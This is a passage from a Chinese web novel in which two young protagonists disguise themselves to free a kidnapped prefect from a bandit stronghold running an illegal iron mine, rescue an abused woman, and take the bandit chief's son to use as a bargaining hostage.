郭守云露出了一丝复杂的表情:“信得过!” 自从他考上了秀才,那四人自称他小弟,哭着喊着要跟着他混,一放学便结伴到玄字班门口等着守着他。 他拒绝无果,无奈允许他们一起念书,左右四人将他的饮食起居照顾得妥妥当当,他把课业心得和陈敬等一起分享,大家一同进步。 四人进步神速,对他越发信服。指天发誓会照看好那片土地和两只老虎。 郭守云见她面色仍有不虞,小心道:“要不,我回去让人把土豆苗用花盆搬到青华园里?” 刘青青:“……” 倒也不必如此。 只要有一颗苗,她就能培育出来。 刘青青笑道:“你来了也好,正可以陪我一起回常安县查看,说起来晦气,随便 找一家客栈打尖住店,竟然是黑店。有贼人摸了进去,我见势不妙带着大妞逃了出来,不晓得温大人他们现在是什么光景?” “我们现在去县衙找庞知县,让他发兵救出大人!” 郭守云皱眉:“我觉得不妥!” “我们在常安县人生地不熟,但是姓庞的是这里的父母官,黑不黑店的,他会不知么?” 刘青青悚然一惊:“你意思,那姓庞的,和贼人是一伙?” 她不敢置信:“不能吧,知法犯法,劫持上峰,姓庞的有几个脑袋够砍啊?” 郭守云摇摇头:“没说他是坏人,我们现在两眼摸黑,最好防备些。” “我们现在悄悄的摸回去,不要惊动人,想办法将事情查清,再从长计议。” 刘青青眨巴眨巴眼睛:“可!我之前是男子装扮,那些贼人肯定到处抓男孩,为了浑水摸鱼,你也装成女孩!我们扮成一对投亲的姐妹,保证没有破绽。” 郭守云:“……” 看着她眼里兴奋的光芒,他舍不得她失望,可耻的没有半分推拒,同意了。 两人重新骑马上路,棉花黑炭在旁边跟随,虽然只有两人两马两狼,但刘青青底气大增,感觉比一队护卫相随来得更加有安全感。 沿途发现了一个农家院,晒着的衣裳忘记收,刘青青毫不客气的偷走了两身。 这年头,粗布衣裳对于普通百姓来说,是一笔大大的财富,刘青青不愿加重他人的苦难,用帕子绑了一块碎银子在晾衣绳上,足够买十身这样的新衣,相信丢了衣裳的乡亲看见银子后,保证不会声张。 两人换了衣裳,梳头是个大问题。 刘青青平时在园子里,头发随便梳成个马尾,高高扎起。复杂的发式去寻园子里的梳头匠,现在穿了裙子,有些抓瞎。 在她愁眉不展的时候,郭守云接过她手里的梳子,从水囊里倒了些水蘸湿,灵巧的将她杂乱的头发,变成了一个整齐的堕马髻。 自己也梳了一个同款的堕马髻。 刘青青佩服得五体投地:“天下果然有这样的聪明人,竟然能不学就会!难怪你能考案首,实在,太厉害啦!” 被夸奖的郭守云唇角微微翘起,没有解释,他悄悄学了梳头很久,自己的头发扯掉了半桶,才学会的,没想到,这项技艺这么快就用上了。 临近常安县,郭守云打发大妞二妞棉花黑炭自己找地方玩去,扶着刘青青,一人背着个包袱,脸上挂着寻亲的不安,踩着曦光,踏入了常安镇。 一踏入县城,那种被窥探的感觉,让郭守云不舒服的皱起了眉头,他四处张望,状若无意的寻了家早食摊子,不动声色的寻找视线的来处。 好巧不巧,两人坐下的早食摊子,在通福气客栈斜对面,客栈中门大开,伙计打着呵欠,眼睛半睁半闭抱着扫帚划拉着地面。 摊子上是对老夫妻,腰间系着围裙的老婆婆热络的擦了擦简陋的小木桌:“两个闺女,吃点什么?” 郭守云不方便出声,刘青青看了看炉子上的锅冒着的蒸腾热气:“那个热乎乎的是啥,给我们两碗!” 婆婆诶了一声,手脚麻利捡了两只初瓷白碗,添了满满两碗冒着白气的淡黄色粘稠豆汁摆在她们面前:“闺女是第一次来我们常安县罢,这是我们这里的特产,稀豆粉,只要三文一碗!” 刘青青嗯了一声。 因天气尚早,老婆婆自个添了半碗淡黄色的稀豆粉,自来熟坐在她们对面,示范给她们看:“我们常安县土地贫瘠,不利稻谷,乡亲们在田间地头种了些豌豆,磨成粉后冲水煮熟,便是我们碗里的稀豆粉。” 她一面说,一面将桌子上装调料的竹罐打开,黑黑的老陈醋、雪白的大蒜末、鲜绿的芫荽、切得细细的折耳根,红彤彤的茱萸油……整齐的摆放在桌子中间。 两人学着老婆婆的模样,洒了点大蒜水、添了勺陈醋、浇了些茱萸油,搅拌两下,用竹勺子挖着吃。 嗯,入口滑烫粘稠,又带着豌豆特有的清香,果然是一道当地的特色美味小吃。 一碗豌稀豆粉下肚,胃里热乎乎的,让人从头暖到了全身。 摊子上没人,老婆婆一面吃自个那一碗,一面和她们说着闲话。 刘青青状若无意的感叹:“对面的客栈好生阔气,不晓得住一天要多少文?” 老婆婆目光在她们一旁的包袱皮上扫过:“你们是来走亲戚的么,直接住亲戚家去呗,费那个钱住客栈作甚?” 刘青青面上浮出悲泣:“我们是常山县周家寨的,哥哥要娶亲,阿爹为了凑彩礼,竟把我们姐妹许给镇上一对会打人的傻子,阿娘心疼我们,让我们来常安县投奔姨娘。 只知道姨娘嫁到了常安县沙笔村,具体在哪,还要慢慢寻访。” 刘青青掏啊掏,从袖口里掏出六文磨得蹭亮的铜钱,放到桌子上。 “婆婆,您知道那个客栈,有便宜些的房子可以住么?” 今日的生意开了张,是个好彩头。 老婆婆喜笑颜开捡起铜钱,小声卖了个好:“那个客栈是有钱老爷才住的,昨日便来了一伙富商,今儿天还没量亮便嚷起来,吵闹着一两银子一间的屋子,竟然有老鼠,骂骂咧咧霹雳磅啷砸了一顿离开了。 啧,一两银子睡一晚上,不晓得里头的地面,是不是用银子铺起来的。 看你们也是普通人家的女娃,我们这些小老百姓,赚点钱不容易,莫要去讨嫌弃。诺,顺着主街一直走,然后往南走十里地,便是沙笔村。你们吃了赶紧上路,早早寻到你姨妈家才是正经!” 郭守云两人对视一眼,老嬷嬷这话里有话啊。 第150章 第150章姐妹花 昨日去牛舌山时经过个沙笔村,刘青青随意报出地名,得了老婆婆的指路,两人道了声谢,挂上包袱联袂离开。 老嬷嬷看着两人单薄的背影,露出悲悯的神色,对着闷声不坑收拾碗筷的丈夫喃喃低语:“老头子,你说,她们能顺利投到亲戚家么?” 擦 完桌子的老汉麻木道:“我看难!” 可惜了两个水灵灵的小姑娘,再养几年就能嫁个好人家,去哪儿投亲不好,非要来常安县,都是命。 他不过感叹了一下,佝偻着腰在木盆里刷碗:“行啦,老婆子,莫管他人门前雪,我们如今泥菩萨过河,自身难保,操心别人作甚!明儿该交人头费了,你数数还差多少,要是凑不齐,有我们受的,别墨迹了,赶紧过来切些葱花,争取多卖几碗!” …… 不提老夫妻两人的念叨。 刘青青挽着郭守云,两人慢吞吞的走在街道上,不时感受到路人怜悯的目光,她忍不住脊背发凉。 两人寻了个僻静的角落,她摩挲了一下双臂,安抚住手臂上翘起来的鸡皮疙瘩:“那些人干嘛这样看着我们,好奇怪! 看来,温大人他们已经离开了客栈,我们去哪找他们?” 她偷偷瞄过客栈里,马棚里的温大人等人骑来的马全都不见了。 郭守云面色沉重,卖稀豆粉老夫妻窃窃私语,他听得一清二楚,不晓得接下来的行程,会出什么样的幺蛾子。 还有,什么是人头费,从来没有听说过啊。 他声音有些发紧:“温大人他们只怕不是自愿离开的。” 两人原本打算慢慢打探的,街上全是本地街坊,一看见他们,便停下交谈,然后若无其事的做自己的事情,可是他们眼神里那种可怜,实在太明显了。 只差明晃晃说:你们的悲惨命运即将开始。 简直让人窒息。 刘青青往郭守云身上靠了靠,郭守云揽着她的肩膀,轻轻的怕了两下以示安慰。低声在她耳边道:“莫怕,棉花黑炭一直跟着我们呢,不会有事的。” 是啦,他们的底牌还没出呢! 两人计议一番,常安城街上打探不到什么,干脆按照之前的说辞,假装去沙笔镇,看能不能打探些什么。 出城门走了约摸两里路,后面传来哒哒哒杂乱的马蹄声。 两人连忙让到路旁,一伙黑衣大汉骑马飞过,激起无数的灰尘。 刘青青眼睛兀的睁大,这是昨夜的黑衣人们! 手臂被她掐得疼极了,郭守云闷哼一声,反手握住她的手,重重捏了一下,示意她莫要露了行迹,刘青青慌忙收敛神色。 两人缩在路边,活像被吓傻的呆头鹅。 本该打马远去的十多人,折回来,打马将她们围了起来,带头的是个瘦高个,看着他们露出嘿嘿的奸、笑:“啧,高个这个妞长得不错,归我了!” 说着用手中的马鞭去抬郭守云的下巴。 “妞叫什么,给爷做童养媳如何?”十一二岁,白白净净,唇红齿白,眼神清凌,实实在在是个小美人胚子,今儿真是赚大了。 要不是手被阿青紧紧按住,郭守云保证,面前这个敢调戏他的瘦竹竿,已经是个死人。 他深深吸了一口气,垂下眼睑藏起里头的戾气,冷哼一声扭过头不发一言。 哟,还有点小脾气,想他冯勇在常安县横着走,竟然有人敢给他使脸子。他身后的狗腿已经抬起鞭子,怒喝一声便要抽打。 眼看鞭子就要落在身上,郭守云准备动手,被刘青青死死按住。 两人抖个不停的手臂,死死的咬着的唇,在马上的冯勇看来,就是对他恐惧至极、欲-拒-还-迎,喜得他抓耳挠腮,开怀畅笑。 反手给了甩鞭子的手下一巴掌,将他踢滚下马,“混账,打坏了我媳妇,你赔啊!” 滚到地上的狗腿子愣了一下,这还是他们二头目第一次护人。他眼睛一转,声色俱厉换成谄笑:“是是是,是我的错,这就请两位美人上马。” 效率极高的腾出一匹马,手脚麻利的将两人捆着手丢上马匹。 不入虎穴,焉得虎子。 郭守云和刘青青对视一眼,没有反抗,以不变应万变。 许是嚣张惯了,仰或觉得她们两个女流之辈,翻不起什么风浪,狗腿子与他人共骑,扯着她们的马绳,一路颠簸往牛舌山奔去。 绕到牛舍山北面,穿过一个仅供一人经过的峡谷,一行人到了一个小山谷里,与外面的萧条凋零荒无人烟不同,这里竟然密密麻麻都是人。 只不过,分为两类人,一类是穿黑衣拿鞭子的监工,另一类便是脚上套了链条的奴隶,岣嵝着腰从各处背来一筐筐的石头,送到冒着黑烟的炉子里。 被马匹颠得胃里翻江倒海的刘青青,此刻再也忍不住,勃然大怒柳眉倒竖,心疼得像被针扎了一般。 汰,这些贼人竟偷盗炼取她的铁矿! 这次换郭守云按着她的手,用只有两个人才听得到的声音道:“沉住气,救人要紧!”他使了个眼色。 刘青青顺着他的视线,愕然的发现了远处,一夜不见的温如初和史居正等人,手脚都带了铁链,佝偻着身子背着个背篓,艰难的运送矿石,稍微慢了些,便迎来监工的一顿鞭子。 她心不住的往下沉,这些歹徒竟然将温大人等十多名好汉,都捉来当奴隶开矿,想来有所依仗,只靠他和郭守云,不晓得能不能逃出去。 不容她考虑太多,他们穿过矿场,到了山谷最里端,这里靠着山壁围了一座高墙,里头大大小小散落着许多房子,如同堡垒一般。 冯勇领着一伙人到达议事厅,上首坐着一个魁梧的汉子,合眼转着手里的核桃。冯勇走上去拱手道:“大哥,客栈里收拾干净,外面到处都说,这伙人嫌弃店里有老鼠,连夜跑了!” “任那个狗官想破脑袋,都想不到,人都被我们一锅端了!” “二叔可有话说?” 冯勇摇摇头:“嗨,二叔被那狗官派出去丈量土地,没空见我,只是让管家传话叫我们低调些,莫要惹事!” “哼,我就想不通,我们手里做的是杀头的买卖,整个常安县都是我们沙风寨的地盘,他怕个球!不一刀把那狗官给宰了,竟然还被支使得团团转,窝囊至极。” 上座的冯谋冷哼一声,将两个盘得滑溜的铁核桃拍着桌上,瞬间拍个粉碎:“混账,二叔自有度量,岂是你可编排的!” 冯勇吓得缩了缩脖子,躬身连道不敢。 虎目大睁的冯谋才看见躲在众人身后,瑟缩的郭守云两人。 他气不打一处来,一脚将冯勇踹飞:“狗改不了吃屎,这好色的毛病什么时候才能改,你屋里头已经有十多个女子,高矮胖瘦,黑白美丑都有,你还弄两个黄毛丫头来作甚!” 冯勇大气不敢喘,讪讪解释:“保证是最后一个!” 冯谋嫌弃的挥挥手,令他赶紧滚,起身去寻自家三岁的儿子玩儿。 郭守云和刘青青被冯勇关进一个小屋子里,他在郭守云脸上掐了一把,嫩滑的手感让他眉开眼笑,嘿嘿直流口水:“小美人,你们乖乖在这里呆着,爷下了工便来陪你们玩儿!” 说着,真的走了。 这一刻,刘青青无比感叹,这贼头子竟然如此有纪律,调戏美人都要等下工后! 等他走了,黑着脸的郭守云从袖中划出刀片,将绑在手腕上的麻绳割断,三两下解开刘青青手上的麻绳,没好气道:“你裂开的嘴,能收收么?” 哟,生气了呢! 少有能看到郭守云气急败坏的时候,刘青青玩心大起。 捏着嗓子在他另一边脸上掐了一把:“美人,爷下了工来陪你玩儿!” “刘青青,你有完没完!”咬牙切齿的声音传来,甚至能听到他格叽格叽的磨牙。 刘青青见好就收,不敢再取笑他,正色道:“我们现在怎么办?” “先离开这里再说!” 两人钻出屋子,躲到外面的柴垛里。 直到天黑,两人悄悄摸出去,迎面碰到提着食盒回来的冯勇,他们连忙闪身钻进一旁的小屋,这是堆草料的屋子。 不一会,外面闹腾起来。 冯勇发现两人逃走,喊来小弟们,到处搜查。 郭守云和刘青青缩在稻草里,眼看一人越走越近,在他们面前停住,两人吓得大气不敢喘。那人停顿了一下,胡乱用刀在草堆里插了两下,跑出去道屋里没有。 外面骂骂咧咧的声音越来越远,两人松了口气。 两人缩在稻草堆里不敢动,靠在一起慢慢睡着,计划等深夜再逃跑。 直到子时,一个人悄悄进来,站在两人藏身的稻草前面,低低喊道:“恩人,你们还在头里们?我给你们带来了豆饼,你们胡乱垫吧垫吧!” 里头静悄悄的没声音,他继续道:“外面表面放松了,其实布满了暗哨,你们千万要藏好,莫要露了行踪!” 等人走后,郭守云和刘青青面面相觑,外面那人是谁? 郭守云凑到黑洞洞的窗户口,躲在阴影里往外看去:“房子拐角处藏了人,草皮下有两人,数叉上有一人……,嘶,也太看得起我们了,竟然弄了这么多人来蹲守?” 两人看着面前躺着的豆饼和水囊,纠结不已,要不要吃呢,会不会有诈? 郭守云默然:“先收起来,以防万一还是不要碰! 晚些时候,我让棉花黑炭给咱们送吃的来!” 刘青青挑眉,安慰人的吧,棉花黑炭是机灵,哪里有这么聪明!【你现在阅读的是 】 150-160 第151章 第151章不走寻常路 两人挤在一起,透过草缝默默观察着外面无边的夜色,直到凌晨时分,刘青青眼睛瞪得发酸,外面有了轻微的动静。 草皮也突兀的动了一下,发现是一群撵着老鼠跑过的杂毛狗,草皮又恢复了平静。 杂毛狗一窝蜂的钻进了草料房里,不一会又钻出来,撒欢的跑远。 躲在干草里的郭守云和刘青青抱着手里的土瓜,用指甲顺着藤部撕拉,带着泥土的皮整块撕掉,露出雪白的果肉。 两人啃了一嘴,清甜甘脆,解渴又顶饱。刘青青小口小口啃着土瓜,感叹棉花黑炭还挺聪明,会刨地,竟然弄到了土瓜,偷渡来给他们充饥。 看着适才一群杂毛狗冲进来,黑炭混杂在里头,挺是那么回事,一点也不显眼。 没了后顾之忧,两人安心的躲在草料房里,随着棉花黑炭和这里的狗狗打成一片,两人的伙食有了显著的提高,从一开始的土瓜,到后面的白面馒头,再到鸡腿,碍于馒头和鸡腿上已经沾染了它们的口水,郭守云示意,以后还是带有皮的土瓜来,其他的不用。 棉花黑炭迷惑了一会,喜滋滋的叼走大鸡腿,领着狗狗小弟们钻出草料库,寻了个墙角,每只狗狗舔一舌头。 如此熬了三天,郭守云发现,躲在暗处的哨子全部撤了,松了口气。 两人继续在干草里又藏了三天,这天晚上,郭守云唤来棉花黑炭,由它在前面带路,躲过各处的守卫,悄悄往外摸去。 只要越过前面的厚土墙,两人就能逃出生天。 他们挨着墙根猫着腰快速挪动,棉花黑炭已经在隐蔽角落寻到了狗洞,刨宽后足够他们通过。 两人趴在狗洞里,刘青青恍然听到了一声微弱的救命。 她竖起耳朵细听,真的有声音,就是从厚墙里传出来的。她愕然了一下,难道这墙里头还关着人? 两人爬出厚墙面面相觑,对视一眼后决定救人。 郭守云随手寻来一把铲子,钻进狗洞里,顺着声音传来的方向开挖,约摸挖了一刻钟,露出一个洞穴,里头一个枯瘦的女人,披头散发脸颊苍白没有半点血色,看见他,绝望的双眼里瞬间燃起希望的火焰,嘶哑着嗓音喊救命。 郭守云利索的将洞口挖大,那女人见状,爬了过来挤出洞口,跟着他们逃出了通道。 外面,刘青青焦急的看着头上的墙头上的亮起的烛火,厚墙上房的守卫已经开始换班,幸好,郭守云领着人灰头土脸的钻了出来,郭守云和刘青青骑着大妞,二妞托着女人,飞快的逃走。 在棉花黑炭的带领下,三人有惊无险的穿过外面的区域,一路狂奔,直到远离沙风寨十多里路的地方,郭守云示意大妞停下歇息。 经过这断路颠簸,那人枯败的身子已经是强弩之末,靠在树根上歇息了半响才回神,颤巍巍对二人道谢:“多谢两位妹妹救命之恩!” 刘青青扫过她毫无血色的脸颊、起皮的嘴唇、衣领边缘露出的淤青,喂她喝了些水:“你是谁?如何会在厚墙里头?” 女人凄苦笑了一下,眼里露出仇恨的光芒:“我名贺柳儿,原本是在府城大户人家当丫鬟,后来主家败落,发卖我们。我与哥哥自赎自身,赁了间屋子过活,我接些衣物缝补,哥哥寻了铺子当伙计,粗茶淡饭,日子倒也过得去。 三个月前上街买菜,竟被天杀的冯谋看见,将我抢了来强行苟合,因我誓死不从,他一怒之下,竟叫来五六个手下,将我……,我原本想自我了断,那天杀的竟说,若我敢自裁,他便去府城将我哥哥捉来打死。” 贺柳儿撩起袖子,雪白的手臂上布满了青黑的淤痕。 她麻木平静道:“后来见我不反抗了,他把我关在暗无天日的墙牢里,胡乱给点吃喝,当条狗一样养着,心情不顺时便来凌辱殴打一番。今日幸得两位妹妹相助,才能逃出来!” 两人看着贺柳儿的惨状,愤怒至极,冯谋冯勇坏事做绝,草菅人命。强掳男子为奴隶挖矿炼铁,肆意羞辱女子,丝毫不管他人死活。 贺柳儿看着他们义愤填膺,真心劝道:“你们也是被抓来的罢,两位妹妹快走,莫要再落入恶人之手!” 刘青青心有戚戚:“贺姐姐,你今后有什么打算?是不是去府城找你哥哥,我们带你一程。” 贺柳儿平静的摇摇头:“我是要去府城,但不是找哥哥,而是去官府揭发。冯谋醉酒的时候露出口风,常安县的县丞冯保山才是沙风寨的大头目,沙风寨为非作歹,只有将它一锅端了,才能解了我心头之恨!” 刘青青和郭守云对视一眼,心情无比沉重。难怪冯勇冯谋如此嚣张跋扈,原来有县衙里的二把手作靠山,就是不知道一把手庞忠是不是也狼狈为奸。 “那通福客栈可是他们开的?” 贺柳儿点点头,讥讽道:“冯家坏事做绝,冯宝山一屋子的妻妾,没生下半个孩子。这佟彩玉也是他置的外室之一,盖了通福客栈,作为他们接头,谋财害命的地方” “冯谋冯勇也一样,抢了这么多的女子,没人生下孩子,只有冯谋早年发妻难产诞下一个男娃。” “我原本想将那孩子抓来泄恨,只是那孩子养在县城的大宅里,偶尔去沙风寨,等闲见不到。而且,稚子无辜,我真要暗害了他,和冯谋之流有何区别!” 贺柳儿眼里闪过纠结痛苦不平,她能对仇人的孩子心怀善念,老天爷啊,为何独独对她充满了恶意。 她痛苦道:“他们偷炼生铁,强掳人口,我们去衙门举报,衙门定然会出兵,将他们连根拔起。” 刘青青只觉得满嘴发苦,新任知府大人也被歹人捉走,还在那里挖矿呢,如何去衙门举报啊,没有温如初的亲自画押,衙门根本不会出兵。 得,事情又回到原点,还得折回去,将温如初等人先弄出来。 他们三人逃走,已经引起了沙风寨的警觉,靠他们三个瘦弱的小身板,如何在戒备森严的沙风寨中救出温如初等人,是个大问题。 刘青青愁眉不展,用根小木棍在地上写写画画,复盘出沙风寨全貌。绞尽脑汁琢磨着救人计策,却感觉无从下手。 郭守云拉过她淡淡道:“不用以身犯险,我们直接把冯谋儿子绑了,将大人们交换出来就是!” 刘青青愕然了一下,不太好吧。 歹人之所以是歹人,就是因为他们心中没有法纪观念,为非作歹,你一个秀才,也作出绑架人的事,和歹人有什么区别? 她正要劝说,郭守云淡淡道:“那孩子在冯家的教养下,长大了也是另外一个冯谋之流,为害一方,现在将他绑走,放到好人家中教养,只怕对他来说,是一件好事!” “我们只是将他绑走,交换出大人来,不会伤害到他的!” 刘青青默然,绑架人是不对的,可是这样的情况下,她真的想不出其他的办法。她无力叹道:“一定不要伤到那孩子!” 两人计议已定,将贺柳儿藏到农户家里,托请农户细心照料。 这次,两人换回男装,画粗眉毛,涂黑肤色,再穿上农户家买来的衣裳、草鞋,由两个清秀的小娘子,变成了两个土黑的乡下小子。 两人一人担了一捆柴,慢悠悠晃进常安县县城。 街道上的乡民看见他们两个粗糙的毛头小子,不过随意一眼便扫过,两人没有享受上次那样的注目礼,刘青青心里一沉,常安县这样,显然是乡民们 都知道年轻女子会被掳走。 间接可以说明,沙风寨的恶行众人皆知。 两人顺畅的摸到县衙后面的街道,这里住的全是常安县有头有脸的人物,被乡民们戏称豪宅区,冯宅在最中央的位置,门口矗立着两只石狮子,低调又奢华。 刘青青忍不住牙疼,庞忠这个知县当得可真够窝囊的,自己住在破破烂烂的县衙里,而手下却住在县衙后面景致优美,占地广大的宅邸。 两人不敢到正门晃悠,顺着墙根绕到了约摸半里地,看到一道小门,不时有穿着青色比甲,腰间系着帕子的丫头从里头出来,余光扫过他们后,在郭守云脸上顿了一下,然后露出可惜的神色,远远的绕开他们离开。 啧,穿得太破烂,被嫌弃了呢。 那么多的丫鬟目光不舍的在阿云脸上流连,间接说明朴素破旧的衣裳都遮不住阿云的俊俏啊。刘青青眼珠子一转,计上心来,伸出手指头在郭守云腰间的软肉上戳了戳:“下一个丫鬟出来的时候,你迎上去套话!” 郭守云一愣,两人从来都是刘青青负责待人接物,那个小嘴巴一张一合的就能把人哄得服服帖帖,他负责跟着后面当背景,让他去套话,阿青莫不是昏了头! 刘青青将他的疑惑不解看在眼里,焦急道:“来了来了,又出来一个丫鬟,看打扮应该是个三等丫头,用你的美色狠狠迷惑她,把冯家的布局给套出来!” 两个人在这里窃窃私语,丫头嫣儿出来的时候便看到两人,高个的少年俊俏清秀,寒酸的打扮也难掩其风度,可惜一脸的生人勿进。矮个的少年挤眉弄眼,笑得一脸猥琐,纵步跳到她面前。 嫣儿扫一眼两人,往后退了一步。门房里的庞大腰圆的冯嬷嬷正在打盹,只要她一叫唤,须臾便至,她脸对着刘青青,眼睛却看着郭守云:“你们挡我路作甚?” 刘青青正要回答,嫣儿芊芊素手指着郭守云:“你来说!” 郭守云一脸的不情愿,并排而立的刘青青见他不吭声,伸手在他腰间的软肉上扭了半圈,郭守云疼得脸色发白,不情不愿干巴巴道:“漂亮姐姐,能不能买了我们的柴火!” 嫣儿被他一声漂亮姐姐叫得心花怒放,对于俊俏的人,常人总是耐心几分。 嗯了一声,从怀中的荷包掏出一把瓜子塞在郭守云的手机,脆生生道:“行吧,这柴火我买了,你们挑到厨房去,跟我来!” 郭守云被嫣儿碰到手,立马像被蛇咬到一样往后跳,眼看嫣儿要变脸,刘青青诶了一声,上前一步挤在郭守云前面,欢欢喜喜接过瓜子,双眼放光的嗑了一个,将剩余的瓜子藏在自己的荷包里,姐姐长姐姐短夸个不停。 将人哄笑后,两人跟着叫嫣儿的丫头,担着柴火光明正大的进了冯家大宅。 郭守云被刘青青瞪了好几眼,没奈何,不情不愿的对着嫣儿,姐姐长姐姐短的讨好卖乖。 “嫣儿姐姐,你的比甲真好看!” “嫣儿姐姐,你的裙子真好看!” “嫣儿姐姐,你的心地真好!” 听到这些生硬夸人的话,刘青青虎躯一震,差点没摔倒,这是要被赶出去的节奏啊! 第152章 第152章偷走 刘青青觑着嫣儿的脸色,惊讶的发现,这个丫鬟姐姐竟然不怒反喜,淡粉的脸颊上升起了一层薄红,嘴角自得的翘了起来,显然心情舒畅至极。 实在让她百思不得其解。 一心钻到钱眼里的刘青青哪里晓得嫣儿的心思。 嫣儿十六七岁,正是姐儿爱俏的时候。这样乡下来的小子她见多了,都是一副木讷不善言辞的模样。虽说小子言辞僵硬,语气干巴,但间接说明这小子说的是真心话啊。被一个俊俏的小子真心夸赞漂亮,她高兴自得,几乎没把下巴翘到头顶上去。 这么一想,她心情又好了几分,一路走一路扯高气昂吩咐:“我们冯府规矩多,你们眼睛可要收好了,莫要到处乱看偷瞟,万一冲撞了我们奶奶,有你们受的!” 刘青青哎了一声,一心两用,一面引着她多说一些,一面用余光快速的记住夹道两边的建筑,在脑海里设想出冯宅的立体图。 到了大厨房,嫣儿邀功的找到胖厨娘,胖厨娘见他们的柴火晒得干燥,劈得整整齐齐,一个高兴,抓了一把铜钱塞给嫣儿。 一边抱怨:“还是嫣儿丫头贴心,那些个小子弄回来的柴火,带着湿气,塞到锅洞里,一屋子的黑烟,厨房还等着做灯影肉片呢,他们这不是耽误事么!” 嫣儿得了赏,按照谈好的价钱,给了郭守云十二文,刘青青八文。剩下大半把铜钱光明正大的装进自己的荷包。 她笑嘻嘻道:“行了,我带你们出去,以后有干柴,尽管到角门报我嫣儿的名号,我自来接你们!” 嫣儿催促两人出门。 刘青青心内焦急,这一路从角门到大厨房,一直在前院晃悠,后院二门的影子没摸到,难道今日要无功而返? 她接过铜钱一个一个的数着磨蹭时间,期望多呆一会。 无巧不成书,厨房门口的大松树上,一架蜈蚣风筝晃悠悠砸了上去,挂在树梢。 机会来了! 刘青青使了个眼色,郭守云眼神一动,期期艾艾道:“嫣儿姐姐,可要我们爬上去帮忙捡风筝!” 嫣儿看见这架足有两人高的蜈蚣风筝,神色剧变,没好气呵斥:“去去去,给你个笑脸你还认真了,这架蜈蚣风筝是我们小少爷最喜爱的,花了好几百两,弄坏了一点皮你陪得起么?莫要找事,赶紧走!” 不等几人离开,一个六七岁的小胖子冲了出来,身后哗啦啦跟着一大串捧着披风扇子垫子茶杯点心果子的嬷嬷丫头,他扫一眼挂在树梢上的蜈蚣风筝,随口命令:“冯嬷嬷,你爬上树去,把我的蜈蚣风筝取下来!” 嫣儿看着来势匆匆的一群人,面色发苦,领着郭守云和刘青青缩在角落里。 得了吩咐的冯嬷嬷是内院第一得意的奶嬷嬷,她仰着脖子往上看,大树足有三四丈高,蜈蚣风筝挂在树尖上晃晃悠悠,若真要爬上去,这条老命算是交代在这里了! 冯嬷嬷面色不变,笑盈盈哄道:“哥儿,蜈蚣风筝太高,人要爬上去掉下来,啪一声摔成个碎西瓜,不好看,那风筝不要也罢,我们去后院重新放个兔子风筝呗!” 小胖子跺脚:“谁要娘兮兮的兔子风筝,我就威风禀禀的大蜈蚣,你找人把风筝取下来,摔碎了打发几两银子就是! 我要大蜈蚣,还我的大蜈蚣!” 说完就地一滚,嚎啕大哭。 滚了两圈,小胖子全新的云锦衣裳染满上灰尘,眼看不能要了。冯嬷嬷急了直掉泪,跪在地上抱起胖子,揉在怀里心肝宝贝的哄:“祖宗,祖宗,别滚了,磕到头可怎么办啊,我这就找人给你取就是!” 自己爬树是不可能的,她将眼光看到身后跟随的丫头婆子,全是自己的心腹,伤了哪一个都不合适,最后将 目光落在角落里缩头缩脑的嫣儿身上:“那个谁,你爬上树,将小少爷的风筝取下来,事成有赏!” 真是祸从天降,赚了差价的嫣儿,傲娇得意的神情早就消失不见,面如死灰。 风筝挂在足有三丈高,婴儿手臂粗细的树枝上,随着微风张牙舞爪,这要是上前了,踩断树枝掉下来,安能有命在,她身子抖如筛糠,可是要不上去,违了冯嬷嬷的命令,只怕立马被乱棍打死。 两权相害取其轻,比起私带外人入府挨一顿罚,先把眼前这一关过了再说。 她脑子飞快的转动,立马往旁边让了一步,露出身后的郭守云和刘青青,苦苦哀求:“嬷嬷,这是我们两个表弟,家里断了饭食,叫他们送两捆柴来换些米粮。 他们自小爬树砍柴,如猴儿一般灵敏,不如让他们试一试?” 冯嬷嬷面露不虞,狠狠瞪了她一眼,主子说过多少次,不许外人入府,这个吃里扒外的东西,竟谋算着弄府里的粮食,过后定然好好给这个小蹄子一顿打。 旁边的小胖子吵闹不休,听说郭守云会爬树,居高临下理所当然:“你快上去,把大蜈蚣取下来!” 刘青青原本有些内疚,亲眼看见小胖子的漠视人命后,那一点柔软化作了坚硬。 这个熊孩子,她绑定了! 郭守云给了她一个放心的眼神,从看热闹的厨娘那里,讨了一根麻绳,套在肩膀上。取一段麻绳套在紧紧套在树干,借助麻绳的摩擦力,双手用力套住树干,双脚交替登在树干上,手脚配合换力,快速的爬上了树梢。 树梢因为他的攀爬变得弯曲,眼看就要被掰断。 他顺手将麻绳一端绑在树梢,一只手取过风筝,另一只手扯住绳子往下滑,就这样顺着绳子从高高的树顶一跃而下。 在众人惊诧的眼光中,他就像蜈蚣天神一样,平稳的降落在地上。 郭守云将大蜈蚣风筝完好无损捧到小胖子面前:“给你!” 小胖子冯金宝眼里冒着光:“酷毙了!”他发现郭守云比大蜈蚣风筝好玩多了! 他一把拍掉大蜈蚣风筝:“你以后便是小爷的跟班了,跟着小爷,吃香的,喝辣的!走,跟小爷到后院演武场玩去。” 冯嬷嬷急切道:“祖宗不可,这人来路不明,等老爷查明底细了再说!” 小胖子一脸不耐烦加无所谓;“没事,在常安县,我冯家怕个球。” 从始至终,没有人询问过郭守云是否愿意。 郭守云呐呐嗯了一声,脸上挤出一丝欢喜,将手中的十二个铜板递给刘青青:“阿弟先回去!” 刘青青眼睁睁看着郭守云随着那档子人消失在拐角。 等他们走远里,嫣儿后怕的拍拍胸口,脸上换了一副讨好的神色,将荷包里的那些铜板全部掏出来塞到她手里:“你哥哥得小少爷看中,飞黄腾达指日可待,你可不要忘了我哦!” 刘青青瞅着眼前变脸极快的嫣儿,也是个苦命人,有心提点:“可是,哥哥性子固执木讷,万一惹了小少爷生气,会不会被罚?” 嫣儿若有所思,是哦,这两人是她带进来的,万一小少爷生气,她是不是也得挨挂落。 嗯,她得时刻盯着后院的动静。 刘青青出了冯府,老老实实用得来的二十文铜板去街上买了十公斤米糠,担着肩上晃悠悠出了城,走了好一会,感觉身后的尾巴不见了,她丢下担子,呼哨一声,招来棉花黑炭和大妞二妞,弄了点吃的,等天黑后,悄悄摸回冯府后墙。 子时的时候,棉花黑炭突兀的竖起了耳朵,一骨碌翻起身钻过狗洞,进了冯家后院。 约摸一刻钟后,郭守云肩头上扛着昏睡的冯金宝翻墙而出,两人连忙上马,身后跟着棉花黑炭,消失在茫茫夜色中。 